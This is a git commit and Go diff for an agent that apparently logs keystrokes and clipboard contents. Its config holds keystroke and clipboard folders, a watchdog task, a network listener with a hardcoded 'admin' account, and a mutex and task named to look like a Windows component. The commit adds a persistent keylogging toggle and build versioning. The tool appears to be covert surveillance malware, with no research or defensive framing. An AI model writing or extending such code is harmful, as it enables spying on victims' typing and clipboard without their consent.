feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build

lib/config/config.go

@@ -8,8 +8,10 @@ import (
 	"time"
 )
 
+// Version is the agent build version. scripts/build.sh overwrites this via -X.
+var Version = "1.0.0"
+
 const (
-	Version                    = "1.0.0"
 	DefaultAddr                = "0.0.0.0:5032"
 	MutexName                  = "win64_mp_Mutex"
 	RestartDelay               = 3 * time.Second
@@ -32,6 +34,7 @@ const (
 	KeylogSubdir               = "keystrokes"
 	LogsSubdir                 = "logs"
 	ClipboardSubdir            = "clipboard"
+	SettingsFileName           = "settings.json"
 	WatchdogTaskName           = "win64_mp_watchdog"
 	DefaultKeylogRetentionDays = 7
 	AuthUser                   = "admin"
@@ -46,6 +49,13 @@ func EnvOr(name, fallback string) string {
 }
 
 func KeylogEnabled() bool {
+	if on, ok := readKeylogPref(); ok {
+		return on
+	}
+	return envKeylogEnabled()
+}
+
+func envKeylogEnabled() bool {
 	switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
 	case "0", "false", "no", "off":
 		return false